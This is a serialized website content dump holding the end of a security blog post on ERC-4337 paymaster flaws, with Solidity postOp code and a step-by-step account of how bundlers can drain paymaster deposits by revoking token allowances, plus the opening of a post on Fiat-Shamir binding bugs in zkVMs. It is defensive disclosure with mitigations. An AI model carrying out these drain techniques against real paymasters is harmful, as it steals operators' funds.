",{"type":23,"tag":504,"props":105769,"children":105770},{"style":598},[105771],{"type":28,"value":601},{"type":23,"tag":504,"props":105773,"children":105774},{"style":517},[105775],{"type":28,"value":105776}," _parsePostOpContext",{"type":23,"tag":504,"props":105778,"children":105779},{"style":523},[105780],{"type":28,"value":105781},"(_context);\n",{"type":23,"tag":504,"props":105783,"children":105784},{"class":506,"line":869},[105785],{"type":23,"tag":504,"props":105786,"children":105787},{"emptyLinePlaceholder":16},[105788],{"type":28,"value":1038},{"type":23,"tag":504,"props":105790,"children":105791},{"class":506,"line":878},[105792,105796,105801,105805,105810],{"type":23,"tag":504,"props":105793,"children":105794},{"style":1012},[105795],{"type":28,"value":88760},{"type":23,"tag":504,"props":105797,"children":105798},{"style":523},[105799],{"type":28,"value":105800}," expectedPenaltyGasCost ",{"type":23,"tag":504,"props":105802,"children":105803},{"style":598},[105804],{"type":28,"value":601},{"type":23,"tag":504,"props":105806,"children":105807},{"style":517},[105808],{"type":28,"value":105809}," _expectedPenaltyGasCost",{"type":23,"tag":504,"props":105811,"children":105812},{"style":523},[105813],{"type":28,"value":2439},{"type":23,"tag":504,"props":105815,"children":105816},{"class":506,"line":1221},[105817],{"type":23,"tag":504,"props":105818,"children":105819},{"style":523},[105820],{"type":28,"value":105821},"            _actualGasCost, _actualUserOpFeePerGas, ctx.postOpGas, ctx.preOpGasApproximation, ctx.executionGasLimit\n",{"type":23,"tag":504,"props":105823,"children":105824},{"class":506,"line":1276},[105825],{"type":23,"tag":504,"props":105826,"children":105827},{"style":523},[105828],{"type":28,"value":6726},{"type":23,"tag":504,"props":105830,"children":105831},{"class":506,"line":1285},[105832],{"type":23,"tag":504,"props":105833,"children":105834},{"emptyLinePlaceholder":16},[105835],{"type":28,"value":1038},{"type":23,"tag":504,"props":105837,"children":105838},{"class":506,"line":1294},[105839,105843,105847,105851,105856,105860],{"type":23,"tag":504,"props":105840,"children":105841},{"style":1012},[105842],{"type":28,"value":88760},{"type":23,"tag":504,"props":105844,"children":105845},{"style":523},[105846],{"type":28,"value":102858},{"type":23,"tag":504,"props":105848,"children":105849},{"style":598},[105850],{"type":28,"value":601},{"type":23,"tag":504,"props":105852,"children":105853},{"style":523},[105854],{"type":28,"value":105855}," _actualGasCost ",{"type":23,"tag":504,"props":105857,"children":105858},{"style":598},[105859],{"type":28,"value":1642},{"type":23,"tag":504,"props":105861,"children":105862},{"style":523},[105863],{"type":28,"value":105864}," expectedPenaltyGasCost;\n",{"type":23,"tag":504,"props":105866,"children":105867},{"class":506,"line":1302},[105868],{"type":23,"tag":504,"props":105869,"children":105870},{"emptyLinePlaceholder":16},[105871],{"type":28,"value":1038},{"type":23,"tag":504,"props":105873,"children":105874},{"class":506,"line":1311},[105875,105879,105884],{"type":23,"tag":504,"props":105876,"children":105877},{"style":1012},[105878],{"type":28,"value":88760},{"type":23,"tag":504,"props":105880,"children":105881},{"style":523},[105882],{"type":28,"value":105883}," costInToken ",{"type":23,"tag":504,"props":105885,"children":105886},{"style":598},[105887],{"type":28,"value":13674},{"type":23,"tag":504,"props":105889,"children":105890},{"class":506,"line":1334},[105891,105896,105901,105905],{"type":23,"tag":504,"props":105892,"children":105893},{"style":517},[105894],{"type":28,"value":105895},"            getCostInToken",{"type":23,"tag":504,"props":105897,"children":105898},{"style":523},[105899],{"type":28,"value":105900},"(actualGasCost, ctx.postOpGas, _actualUserOpFeePerGas, ctx.exchangeRate) ",{"type":23,"tag":504,"props":105902,"children":105903},{"style":598},[105904],{"type":28,"value":1642},{"type":23,"tag":504,"props":105906,"children":105907},{"style":523},[105908],{"type":28,"value":105909}," ctx.constantFee;\n",{"type":23,"tag":504,"props":105911,"children":105912},{"class":506,"line":1370},[105913],{"type":23,"tag":504,"props":105914,"children":105915},{"emptyLinePlaceholder":16},[105916],{"type":28,"value":1038},{"type":23,"tag":504,"props":105918,"children":105919},{"class":506,"line":1384},[105920,105924,105929],{"type":23,"tag":504,"props":105921,"children":105922},{"style":1012},[105923],{"type":28,"value":88760},{"type":23,"tag":504,"props":105925,"children":105926},{"style":523},[105927],{"type":28,"value":105928}," absoluteCostInToken ",{"type":23,"tag":504,"props":105930,"children":105931},{"style":598},[105932],{"type":28,"value":13674},{"type":23,"tag":504,"props":105934,"children":105935},{"class":506,"line":1392},[105936,105941,105945,105950,105954,105958,105962,105966,105970,105974,105978],{"type":23,"tag":504,"props":105937,"children":105938},{"style":523},[105939],{"type":28,"value":105940},"            costInToken ",{"type":23,"tag":504,"props":105942,"children":105943},{"style":598},[105944],{"type":28,"value":9443},{"type":23,"tag":504,"props":105946,"children":105947},{"style":523},[105948],{"type":28,"value":105949}," ctx.preFundCharged ",{"type":23,"tag":504,"props":105951,"children":105952},{"style":598},[105953],{"type":28,"value":2133},{"type":23,"tag":504,"props":105955,"children":105956},{"style":523},[105957],{"type":28,"value":105883},{"type":23,"tag":504,"props":105959,"children":105960},{"style":598},[105961],{"type":28,"value":3308},{"type":23,"tag":504,"props":105963,"children":105964},{"style":523},[105965],{"type":28,"value":105949},{"type":23,"tag":504,"props":105967,"children":105968},{"style":598},[105969],{"type":28,"value":3472},{"type":23,"tag":504,"props":105971,"children":105972},{"style":523},[105973],{"type":28,"value":105949},{"type":23,"tag":504,"props":105975,"children":105976},{"style":598},[105977],{"type":28,"value":3308},{"type":23,"tag":504,"props":105979,"children":105980},{"style":523},[105981],{"type":28,"value":105982}," costInToken;\n",{"type":23,"tag":504,"props":105984,"children":105985},{"class":506,"line":1400},[105986],{"type":23,"tag":504,"props":105987,"children":105988},{"emptyLinePlaceholder":16},[105989],{"type":28,"value":1038},{"type":23,"tag":504,"props":105991,"children":105992},{"class":506,"line":1422},[105993,105998,106002],{"type":23,"tag":504,"props":105994,"children":105995},{"style":523},[105996],{"type":28,"value":105997},"        SafeTransferLib.",{"type":23,"tag":504,"props":105999,"children":106000},{"style":517},[106001],{"type":28,"value":102389},{"type":23,"tag":504,"props":106003,"children":106004},{"style":523},[106005],{"type":28,"value":2439},{"type":23,"tag":504,"props":106007,"children":106008},{"class":506,"line":1450},[106009],{"type":23,"tag":504,"props":106010,"children":106011},{"style":523},[106012],{"type":28,"value":106013},"            ctx.token,\n",{"type":23,"tag":504,"props":106015,"children":106016},{"class":506,"line":1463},[106017,106021,106025,106029,106033,106038,106042],{"type":23,"tag":504,"props":106018,"children":106019},{"style":523},[106020],{"type":28,"value":105940},{"type":23,"tag":504,"props":106022,"children":106023},{"style":598},[106024],{"type":28,"value":9443},{"type":23,"tag":504,"props":106026,"children":106027},{"style":523},[106028],{"type":28,"value":105949},{"type":23,"tag":504,"props":106030,"children":106031},{"style":598},[106032],{"type":28,"value":2133},{"type":23,"tag":504,"props":106034,"children":106035},{"style":523},[106036],{"type":28,"value":106037}," ctx.sender ",{"type":23,"tag":504,"props":106039,"children":106040},{"style":598},[106041],{"type":28,"value":3472},{"type":23,"tag":504,"props":106043,"children":106044},{"style":523},[106045],{"type":28,"value":106046}," ctx.treasury,\n",{"type":23,"tag":504,"props":106048,"children":106049},{"class":506,"line":1485},[106050,106054,106058,106062,106066,106071,106075],{"type":23,"tag":504,"props":106051,"children":106052},{"style":523},[106053],{"type":28,"value":105940},{"type":23,"tag":504,"props":106055,"children":106056},{"style":598},[106057],{"type":28,"value":9443},{"type":23,"tag":504,"props":106059,"children":106060},{"style":523},[106061],{"type":28,"value":105949},{"type":23,"tag":504,"props":106063,"children":106064},{"style":598},[106065],{"type":28,"value":2133},{"type":23,"tag":504,"props":106067,"children":106068},{"style":523},[106069],{"type":28,"value":106070}," ctx.treasury ",{"type":23,"tag":504,"props":106072,"children":106073},{"style":598},[106074],{"type":28,"value":3472},{"type":23,"tag":504,"props":106076,"children":106077},{"style":523},[106078],{"type":28,"value":106079}," ctx.sender,\n",{"type":23,"tag":504,"props":106081,"children":106082},{"class":506,"line":1503},[106083],{"type":23,"tag":504,"props":106084,"children":106085},{"style":523},[106086],{"type":28,"value":106087},"            absoluteCostInToken\n",{"type":23,"tag":504,"props":106089,"children":106090},{"class":506,"line":1516},[106091],{"type":23,"tag":504,"props":106092,"children":106093},{"style":523},[106094],{"type":28,"value":6726},{"type":23,"tag":504,"props":106096,"children":106097},{"class":506,"line":1543},[106098],{"type":23,"tag":504,"props":106099,"children":106100},{"emptyLinePlaceholder":16},[106101],{"type":28,"value":1038},{"type":23,"tag":504,"props":106103,"children":106104},{"class":506,"line":1583},[106105,106109,106114,106118,106123,106127,106132,106136,106141],{"type":23,"tag":504,"props":106106,"children":106107},{"style":1012},[106108],{"type":28,"value":88760},{"type":23,"tag":504,"props":106110,"children":106111},{"style":523},[106112],{"type":28,"value":106113}," preFundInToken ",{"type":23,"tag":504,"props":106115,"children":106116},{"style":598},[106117],{"type":28,"value":601},{"type":23,"tag":504,"props":106119,"children":106120},{"style":523},[106121],{"type":28,"value":106122}," (ctx.preFund ",{"type":23,"tag":504,"props":106124,"children":106125},{"style":598},[106126],{"type":28,"value":3552},{"type":23,"tag":504,"props":106128,"children":106129},{"style":523},[106130],{"type":28,"value":106131}," ctx.exchangeRate) ",{"type":23,"tag":504,"props":106133,"children":106134},{"style":598},[106135],{"type":28,"value":3562},{"type":23,"tag":504,"props":106137,"children":106138},{"style":1440},[106139],{"type":28,"value":106140}," 1e18",{"type":23,"tag":504,"props":106142,"children":106143},{"style":523},[106144],{"type":28,"value":866},{"type":23,"tag":504,"props":106146,"children":106147},{"class":506,"line":1605},[106148],{"type":23,"tag":504,"props":106149,"children":106150},{"emptyLinePlaceholder":16},[106151],{"type":28,"value":1038},{"type":23,"tag":504,"props":106153,"children":106154},{"class":506,"line":1614},[106155,106159,106164,106168,106172,106176,106180,106184,106188,106192,106196],{"type":23,"tag":504,"props":106156,"children":106157},{"style":544},[106158],{"type":28,"value":2250},{"type":23,"tag":504,"props":106160,"children":106161},{"style":523},[106162],{"type":28,"value":106163}," (ctx.recipient ",{"type":23,"tag":504,"props":106165,"children":106166},{"style":598},[106167],{"type":28,"value":14669},{"type":23,"tag":504,"props":106169,"children":106170},{"style":1012},[106171],{"type":28,"value":5233},{"type":23,"tag":504,"props":106173,"children":106174},{"style":523},[106175],{"type":28,"value":526},{"type":23,"tag":504,"props":106177,"children":106178},{"style":1440},[106179],{"type":28,"value":3001},{"type":23,"tag":504,"props":106181,"children":106182},{"style":523},[106183],{"type":28,"value":2064},{"type":23,"tag":504,"props":106185,"children":106186},{"style":598},[106187],{"type":28,"value":71946},{"type":23,"tag":504,"props":106189,"children":106190},{"style":523},[106191],{"type":28,"value":106113},{"type":23,"tag":504,"props":106193,"children":106194},{"style":598},[106195],{"type":28,"value":9443},{"type":23,"tag":504,"props":106197,"children":106198},{"style":523},[106199],{"type":28,"value":106200}," costInToken) {\n",{"type":23,"tag":504,"props":106202,"children":106203},{"class":506,"line":1627},[106204,106209,106213,106218,106222],{"type":23,"tag":504,"props":106205,"children":106206},{"style":523},[106207],{"type":28,"value":106208},"            SafeTransferLib.",{"type":23,"tag":504,"props":106210,"children":106211},{"style":517},[106212],{"type":28,"value":102389},{"type":23,"tag":504,"props":106214,"children":106215},{"style":523},[106216],{"type":28,"value":106217},"(ctx.token, ctx.sender, ctx.recipient, preFundInToken ",{"type":23,"tag":504,"props":106219,"children":106220},{"style":598},[106221],{"type":28,"value":3308},{"type":23,"tag":504,"props":106223,"children":106224},{"style":523},[106225],{"type":28,"value":106226}," costInToken);\n",{"type":23,"tag":504,"props":106228,"children":106229},{"class":506,"line":1655},[106230],{"type":23,"tag":504,"props":106231,"children":106232},{"style":523},[106233],{"type":28,"value":1291},{"type":23,"tag":504,"props":106235,"children":106236},{"class":506,"line":1668},[106237],{"type":23,"tag":504,"props":106238,"children":106239},{"emptyLinePlaceholder":16},[106240],{"type":28,"value":1038},{"type":23,"tag":504,"props":106242,"children":106243},{"class":506,"line":1682},[106244,106249,106253],{"type":23,"tag":504,"props":106245,"children":106246},{"style":544},[106247],{"type":28,"value":106248},"        emit",{"type":23,"tag":504,"props":106250,"children":106251},{"style":517},[106252],{"type":28,"value":103123},{"type":23,"tag":504,"props":106254,"children":106255},{"style":523},[106256],{"type":28,"value":106257},"(ctx.userOpHash, ctx.sender, ERC20_MODE, ctx.token, costInToken, ctx.exchangeRate);\n",{"type":23,"tag":504,"props":106259,"children":106260},{"class":506,"line":1691},[106261],{"type":23,"tag":504,"props":106262,"children":106263},{"style":523},[106264],{"type":28,"value":875},{"type":23,"tag":24,"props":106266,"children":106267},{},[106268,106270,106275,106277,106283,106285,106291,106293,106298,106300,106305],{"type":28,"value":106269},"As shown above, the paymaster calculates the actual gas used and attempts to charge the user by calling ",{"type":23,"tag":56,"props":106271,"children":106273},{"className":106272},[],[106274],{"type":28,"value":102389},{"type":28,"value":106276},". Note that ",{"type":23,"tag":56,"props":106278,"children":106280},{"className":106279},[],[106281],{"type":28,"value":106282},"preFundCharged",{"type":28,"value":106284}," can be zero, as users can opt out of any ",{"type":23,"tag":56,"props":106286,"children":106288},{"className":106287},[],[106289],{"type":28,"value":106290},"preFund",{"type":28,"value":106292}," during the validation phase. If the user hasn't given sufficient allowance to Pimlico's paymaster for the transfer, the ",{"type":23,"tag":56,"props":106294,"children":106296},{"className":106295},[],[106297],{"type":28,"value":103190},{"type":28,"value":106299}," call inside ",{"type":23,"tag":56,"props":106301,"children":106303},{"className":106302},[],[106304],{"type":28,"value":104274},{"type":28,"value":106306}," will revert and the paymaster won't be able to collect payment from the user.",{"type":23,"tag":24,"props":106308,"children":106309},{},[106310,106312,106317,106319,106325,106327,106333],{"type":28,"value":106311},"However, even when ",{"type":23,"tag":56,"props":106313,"children":106315},{"className":106314},[],[106316],{"type":28,"value":103190},{"type":28,"value":106318}," fails, the EntryPoint will still complete the execution and pay the bundler who submitted it. Importantly, this payment comes from the paymaster's deposit, since during validation the ",{"type":23,"tag":56,"props":106320,"children":106322},{"className":106321},[],[106323],{"type":28,"value":106324},"requiredPrefund",{"type":28,"value":106326}," was taken from the paymaster's ",{"type":23,"tag":92,"props":106328,"children":106331},{"href":106329,"rel":106330},"https://github.com/eth-infinitism/account-abstraction/blob/releases/v0.8/contracts/core/EntryPoint.sol#L625-L627",[96],[106332],{"type":28,"value":60942},{"type":28,"value":320},{"type":23,"tag":24,"props":106335,"children":106336},{},[106337,106339,106344],{"type":28,"value":106338},"This creates a critical vulnerability for paymasters that implement post-execution charging patterns. Even if the ",{"type":23,"tag":56,"props":106340,"children":106342},{"className":106341},[],[106343],{"type":28,"value":103190},{"type":28,"value":106345}," call fails (meaning the paymaster couldn't collect payment from the user), the paymaster still has to pay the bundler's gas costs from their deposited funds. This vulnerability can be exploited by malicious bundlers in the following way:",{"type":23,"tag":41,"props":106347,"children":106348},{},[106349,106367,106386,106397,106402],{"type":23,"tag":45,"props":106350,"children":106351},{},[106352,106354,106359,106361],{"type":28,"value":106353},"The bundler creates a ",{"type":23,"tag":56,"props":106355,"children":106357},{"className":106356},[],[106358],{"type":28,"value":100933},{"type":28,"value":106360}," with an intentionally high ",{"type":23,"tag":56,"props":106362,"children":106364},{"className":106363},[],[106365],{"type":28,"value":106366},"gasPrice",{"type":23,"tag":45,"props":106368,"children":106369},{},[106370,106372,106377,106379,106384],{"type":28,"value":106371},"The bundler ensures the ",{"type":23,"tag":56,"props":106373,"children":106375},{"className":106374},[],[106376],{"type":28,"value":103190},{"type":28,"value":106378}," call will fail by revoking the paymaster's token allowance before ",{"type":23,"tag":56,"props":106380,"children":106382},{"className":106381},[],[106383],{"type":28,"value":103190},{"type":28,"value":106385}," executes",{"type":23,"tag":45,"props":106387,"children":106388},{},[106389,106390,106395],{"type":28,"value":62334},{"type":23,"tag":56,"props":106391,"children":106393},{"className":106392},[],[106394],{"type":28,"value":103190},{"type":28,"value":106396}," fails, the bundler still gets paid their high gas costs by the paymaster",{"type":23,"tag":45,"props":106398,"children":106399},{},[106400],{"type":28,"value":106401},"The paymaster loses money since they paid the bundler but couldn't collect from the user",{"type":23,"tag":45,"props":106403,"children":106404},{},[106405],{"type":28,"value":106406},"The bundler profits as long as their actual gas costs are less than what they charged",{"type":23,"tag":24,"props":106408,"children":106409},{},[106410,106412,106417,106419,106424],{"type":28,"value":106411},"This effectively allows bundlers to drain paymaster deposits by submitting ",{"type":23,"tag":56,"props":106413,"children":106415},{"className":106414},[],[106416],{"type":28,"value":100962},{"type":28,"value":106418}," designed to fail during ",{"type":23,"tag":56,"props":106420,"children":106422},{"className":106421},[],[106423],{"type":28,"value":103190},{"type":28,"value":106425}," while maximizing the gas costs they can charge to the paymaster.",{"type":23,"tag":24,"props":106427,"children":106428},{},[106429,106431,106436,106438,106443,106445,106451,106453,106458],{"type":28,"value":106430},"Some paymasters try to protect against this by simulating the ",{"type":23,"tag":56,"props":106432,"children":106434},{"className":106433},[],[106435],{"type":28,"value":100933},{"type":28,"value":106437}," execution before signing and allowing it to be submitted. However, this protection can be easily bypassed because an attacker can simply approve the required token allowance during simulation to pass validation, but then revoke the allowance just before the ",{"type":23,"tag":56,"props":106439,"children":106441},{"className":106440},[],[106442],{"type":28,"value":100933},{"type":28,"value":106444}," is submitted via ",{"type":23,"tag":56,"props":106446,"children":106448},{"className":106447},[],[106449],{"type":28,"value":106450},"handleOps",{"type":28,"value":106452},". This means the ",{"type":23,"tag":56,"props":106454,"children":106456},{"className":106455},[],[106457],{"type":28,"value":103190},{"type":28,"value":106459}," will pass simulation but fail during actual execution, allowing the bundler to drain the paymaster's deposit from the EntryPoint.",{"type":23,"tag":24,"props":106461,"children":106462},{},[106463],{"type":28,"value":106464},"To protect against this vulnerability, paymasters should implement pre-execution charging patterns rather than post-execution charging. This means requiring users to pre-fund the full estimated gas cost during the validation phase, before the operation executes. By collecting payment upfront, the paymaster is protected against failed post-execution transfers that could be exploited by malicious bundlers.",{"type":23,"tag":24,"props":106466,"children":106467},{},[106468],{"type":28,"value":106469},"If post-execution charging is absolutely necessary for UX reasons, paymasters have several mitigation strategies available. One approach is to restrict usage to a whitelist of trusted bundlers, though this introduces centralization concerns. Alternatively, Pimlico tries to address this issue by tightening API limits and constraining ERC-20 usage for its users.",{"type":23,"tag":24,"props":106471,"children":106472},{},[106473],{"type":28,"value":106474},"The most secure approach is to require upfront pre-funding, even though it may temporarily lock more user funds. This small UX tradeoff is worth the strong security guarantees it provides against paymaster exploitation.",{"type":23,"tag":34349,"props":106476,"children":106477},{"id":1800},[106478],{"type":28,"value":1803},{"type":23,"tag":24,"props":106480,"children":106481},{},[106482],{"type":28,"value":106483},"ERC-4337 paymasters enable powerful new UX patterns by abstracting away gas costs from end users. However, implementing them securely requires careful consideration of the standard's execution flow and potential attack vectors. The key lessons are:",{"type":23,"tag":41,"props":106485,"children":106486},{},[106487,106492,106497,106502,106507],{"type":23,"tag":45,"props":106488,"children":106489},{},[106490],{"type":28,"value":106491},"Always collect full payment during validation, not after execution",{"type":23,"tag":45,"props":106493,"children":106494},{},[106495],{"type":28,"value":106496},"Be conservative with gas estimations and include safety margins",{"type":23,"tag":45,"props":106498,"children":106499},{},[106500],{"type":28,"value":106501},"Carefully validate all user inputs and token transfers",{"type":23,"tag":45,"props":106503,"children":106504},{},[106505],{"type":28,"value":106506},"Test extensively, including simulation of malicious behavior",{"type":23,"tag":45,"props":106508,"children":106509},{},[106510,106512,106517],{"type":28,"value":106511},"Always review changes in new ",{"type":23,"tag":56,"props":106513,"children":106515},{"className":106514},[],[106516],{"type":28,"value":101014},{"type":28,"value":106518}," versions, as they may impact your paymaster's design and security assumptions",{"type":23,"tag":24,"props":106520,"children":106521},{},[106522,106524,106529,106531,106536,106538,106543],{"type":28,"value":106523},"The last point is particularly important as the ERC-4337 standard continues to evolve. Changes to the ",{"type":23,"tag":56,"props":106525,"children":106527},{"className":106526},[],[106528],{"type":28,"value":101014},{"type":28,"value":106530}," contract's behavior could potentially break existing ",{"type":23,"tag":56,"props":106532,"children":106534},{"className":106533},[],[106535],{"type":28,"value":101086},{"type":28,"value":106537}," implementations or introduce new security considerations. Developers should thoroughly review release notes and diffs when upgrading to new ",{"type":23,"tag":56,"props":106539,"children":106541},{"className":106540},[],[106542],{"type":28,"value":101014},{"type":28,"value":106544}," versions.",{"type":23,"tag":24,"props":106546,"children":106547},{},[106548],{"type":28,"value":106549},"By following these best practices, developers can build robust paymasters that enhance UX while protecting against exploitation. As the ERC-4337 ecosystem matures, secure paymaster implementations will be crucial for driving mainstream adoption of account abstraction.",{"type":23,"tag":24,"props":106551,"children":106552},{},[106553],{"type":28,"value":106554},"If you're building a paymaster and want to ensure it's secure against these and other vulnerabilities, consider getting an audit from us. Our team has extensive experience auditing ERC-4337 implementations and can help identify potential security issues before they impact production.",{"type":23,"tag":1815,"props":106556,"children":106557},{},[106558],{"type":28,"value":1819},{"title":7,"searchDepth":540,"depth":540,"links":106560},[106561,106562,106563,106570,106575,106576],{"id":100848,"depth":540,"text":100851},{"id":100864,"depth":540,"text":100867},{"id":100903,"depth":540,"text":100906,"children":106564},[106565,106566,106567,106568,106569],{"id":100926,"depth":555,"text":100933},{"id":100967,"depth":555,"text":100970},{"id":100993,"depth":555,"text":100996},{"id":13704,"depth":555,"text":101014},{"id":101086,"depth":555,"text":101097},{"id":101149,"depth":540,"text":106571,"children":106572},"Understanding the EntryPoint's Flow",[106573,106574],{"id":101205,"depth":555,"text":101208},{"id":101390,"depth":555,"text":101393},{"id":101633,"depth":540,"text":101639},{"id":103233,"depth":540,"text":103239,"children":106577},[106578,106579],{"id":103293,"depth":555,"text":103296},{"id":103353,"depth":555,"text":103356},"content:blog:2025-12-02-paymasters-evm.md","blog/2025-12-02-paymasters-evm.md","blog/2025-12-02-paymasters-evm",{"_path":106584,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"title":106585,"description":106586,"date":106587,"author":106588,"image":106591,"isFeatured":16,"onBlogPage":16,"tags":106593,"body":106595,"_type":1838,"_id":122400,"_source":1840,"_file":122401,"_stem":122402,"_extension":1843},"/blog/2026-03-03-zkvms-unfaithful-claims","Unfaithful Claims: Breaking 6 zkVMs","A zkVM verifier should be faithful to one thing above all else: its public claims. Yet we found six systems where this guarantee breaks. Learn how a subtle ordering bug lets an attacker bypass the cryptography entirely and prove mathematically impossible statements.","2026-03-03T12:00:00.000Z",[106589,106590],"himanshu","valter",{"src":106592,"width":96019,"height":12604},"/posts/zkvms-unfaithful-claims/title.png",[106594],"zkVM",{"type":20,"children":106596,"toc":122364},[106597,106602,106644,106657,106660,106666,106671,106799,106802,106808,106814,106819,106851,106999,107004,107127,107138,107149,107172,107183,107188,107221,107229,107234,107237,107243,107248,107254,107259,107264,107272,107290,107431,107436,107442,107535,108269,108337,108348,108356,108830,108836,109275,109615,109768,109773,110661,110817,110823,110915,110920,111505,111955,112031,112037,112042,112111,112121,112137,112147,112208,112627,112659,112669,112844,112849,112859,113459,113647,113665,113668,113674,113679,113687,113719,114081,114086,114171,114174,114180,114188,114193,114196,114202,114207,114215,114223,114231,114239,114272,114280,114288,114379,114630,114957,114965,114995,115165,115491,115496,115501,115518,115521,115526,115531,115543,115555,116146,116158,116170,116177,116185,116197,116205,116220,116225,116505,116524,116619,116638,116654,116657,116663,116668,116673,116680,116688,116695,116703,116716,116734,117194,117296,117301,117306,117322,117325,117331,117336,117348,117359,117364,117754,117761,117769,117794,117814,118070,118081,118100,118484,118830,119060,119219,119379,119947,119952,119978,119981,119987,119992,119999,120007,120020,120092,120103,120111,120121,120129,120140,120414,120503,120532,120535,120540,120674,120686,120693,120698,120851,120877,120884,120892,120897,120963,120968,121358,121445,121461,121464,121470,121475,121481,121581,121640,121645,121651,121656,121664,121669,121675,121680,121685,121691,121696,121699,121705,121711,121716,121721,121726,121731,121736,121739,121745,121908,121913,121916,121921,121932,122249,122254,122278,122283,122301,122306,122309,122315,122320,122325,122335,122340,122350,122360],{"type":23,"tag":24,"props":106598,"children":106599},{},[106600],{"type":28,"value":106601},"A zkVM verifier should be faithful to one thing above all else: its public claims. If the claimed input/output statement is false, verification must fail.",{"type":23,"tag":24,"props":106603,"children":106604},{},[106605,106607,106612,106613,106618,106619,106624,106625,106630,106631,106636,106637,106642],{"type":28,"value":106606},"We found six systems where this faithfulness breaks. Across ",{"type":23,"tag":296,"props":106608,"children":106609},{},[106610],{"type":28,"value":106611},"Jolt",{"type":28,"value":576},{"type":23,"tag":296,"props":106614,"children":106615},{},[106616],{"type":28,"value":106617},"Nexus",{"type":28,"value":576},{"type":23,"tag":296,"props":106620,"children":106621},{},[106622],{"type":28,"value":106623},"Cairo-M",{"type":28,"value":576},{"type":23,"tag":296,"props":106626,"children":106627},{},[106628],{"type":28,"value":106629},"Ceno",{"type":28,"value":576},{"type":23,"tag":296,"props":106632,"children":106633},{},[106634],{"type":28,"value":106635},"Expander",{"type":28,"value":5471},{"type":23,"tag":296,"props":106638,"children":106639},{},[106640],{"type":28,"value":106641},"Binius64",{"type":28,"value":106643},", public-claim data was not always bound into Fiat-Shamir transcripts before challenge generation. That subtle ordering bug turns statement values into attacker-controlled variables in later verification equations.",{"type":23,"tag":24,"props":106645,"children":106646},{},[106647,106649,106655],{"type":28,"value":106648},"In this post, we demonstrate how to exploit these unbound variables to bypass the cryptography entirely and prove mathematically impossible statements, such as finding a counterexample to Fermat's Last Theorem (see ",{"type":23,"tag":92,"props":106650,"children":106652},{"href":106651},"#challenges",[106653],{"type":28,"value":106654},"Challenges",{"type":28,"value":106656}," to try this out yourself). In a blockchain context, this could translate to receiving $1M out of thin air.",{"type":23,"tag":17774,"props":106658,"children":106659},{},[],{"type":23,"tag":70,"props":106661,"children":106663},{"id":106662},"jargon-cheat-sheet",[106664],{"type":28,"value":106665},"Jargon Cheat Sheet",{"type":23,"tag":24,"props":106667,"children":106668},{},[106669],{"type":28,"value":106670},"Before we go deeper, here's a one-liner for every term you'll encounter. The ZK ecosystem is particularly full of jargon and abbreviations, which may be off-putting to newcomers. Bookmark this section.",{"type":23,"tag":350,"props":106672,"children":106673},{},[106674,106684,106694,106704,106714,106724,106734,106744,106754,106764,106774,106784],{"type":23,"tag":45,"props":106675,"children":106676},{},[106677,106682],{"type":23,"tag":296,"props":106678,"children":106679},{},[106680],{"type":28,"value":106681},"Fiat-Shamir",{"type":28,"value":106683},": Instead of a real verifier sending random challenges, hash everything so far to get \"random\" challenges. Makes proofs non-interactive.",{"type":23,"tag":45,"props":106685,"children":106686},{},[106687,106692],{"type":23,"tag":296,"props":106688,"children":106689},{},[106690],{"type":28,"value":106691},"Transcript",{"type":28,"value":106693},": The running hash state. You \"absorb\" data into it, then \"squeeze\" out challenges.",{"type":23,"tag":45,"props":106695,"children":106696},{},[106697,106702],{"type":23,"tag":296,"props":106698,"children":106699},{},[106700],{"type":28,"value":106701},"Polynomial Commitment",{"type":28,"value":106703},": Like a hash, but for polynomials. You commit to a polynomial, then later prove \"my polynomial evaluates to 42 at point 7\" without revealing the whole polynomial.",{"type":23,"tag":45,"props":106705,"children":106706},{},[106707,106712],{"type":23,"tag":296,"props":106708,"children":106709},{},[106710],{"type":28,"value":106711},"Sumcheck",{"type":28,"value":106713},": A protocol to prove \"this polynomial sums to H over all boolean inputs\" without actually computing the exponentially many terms. Reduces to checking one random point.",{"type":23,"tag":45,"props":106715,"children":106716},{},[106717,106722],{"type":23,"tag":296,"props":106718,"children":106719},{},[106720],{"type":28,"value":106721},"MLE (Multilinear Extension)",{"type":28,"value":106723},": Turn a table of values into a polynomial. The polynomial equals the table on 0/1 inputs and smoothly interpolates elsewhere. Key property: evaluating it is a linear function of the table entries.",{"type":23,"tag":45,"props":106725,"children":106726},{},[106727,106732],{"type":23,"tag":296,"props":106728,"children":106729},{},[106730],{"type":28,"value":106731},"Lookup / LogUp",{"type":28,"value":106733},": Prove \"all my values appear in this table\" by encoding membership as sums of fractions. If the sums match, the sets match (with high probability).",{"type":23,"tag":45,"props":106735,"children":106736},{},[106737,106742],{"type":23,"tag":296,"props":106738,"children":106739},{},[106740],{"type":28,"value":106741},"AIR",{"type":28,"value":106743},": \"Algebraic Intermediate Representation\" - a way to write \"valid execution trace\" as polynomial equations. If the equations hold, the trace is valid.",{"type":23,"tag":45,"props":106745,"children":106746},{},[106747,106752],{"type":23,"tag":296,"props":106748,"children":106749},{},[106750],{"type":28,"value":106751},"STARK",{"type":28,"value":106753},": Prove AIR constraints hold using commitments + random sampling + FRI. No trusted setup needed.",{"type":23,"tag":45,"props":106755,"children":106756},{},[106757,106762],{"type":23,"tag":296,"props":106758,"children":106759},{},[106760],{"type":28,"value":106761},"FRI",{"type":28,"value":106763},": \"Fast Reed-Solomon IOP\" - proves a committed function is actually a low-degree polynomial, not arbitrary garbage that passes spot-checks.",{"type":23,"tag":45,"props":106765,"children":106766},{},[106767,106772],{"type":23,"tag":296,"props":106768,"children":106769},{},[106770],{"type":28,"value":106771},"OODS",{"type":28,"value":106773},": \"Out-of-Domain Sampling\" - check the constraint polynomial at a random point outside the execution domain. Ties everything together.",{"type":23,"tag":45,"props":106775,"children":106776},{},[106777,106782],{"type":23,"tag":296,"props":106778,"children":106779},{},[106780],{"type":28,"value":106781},"GKR",{"type":28,"value":106783},": Verify arithmetic circuits layer-by-layer using sumcheck. Reduces \"check this huge circuit\" to \"check a few random evaluations.\"",{"type":23,"tag":45,"props":106785,"children":106786},{},[106787,106792,106794],{"type":23,"tag":296,"props":106788,"children":106789},{},[106790],{"type":28,"value":106791},"claimed_sum / opening_claim",{"type":28,"value":106793},": Prover-supplied values that feed into verification equations. ",{"type":23,"tag":296,"props":106795,"children":106796},{},[106797],{"type":28,"value":106798},"These are the usual suspects for binding 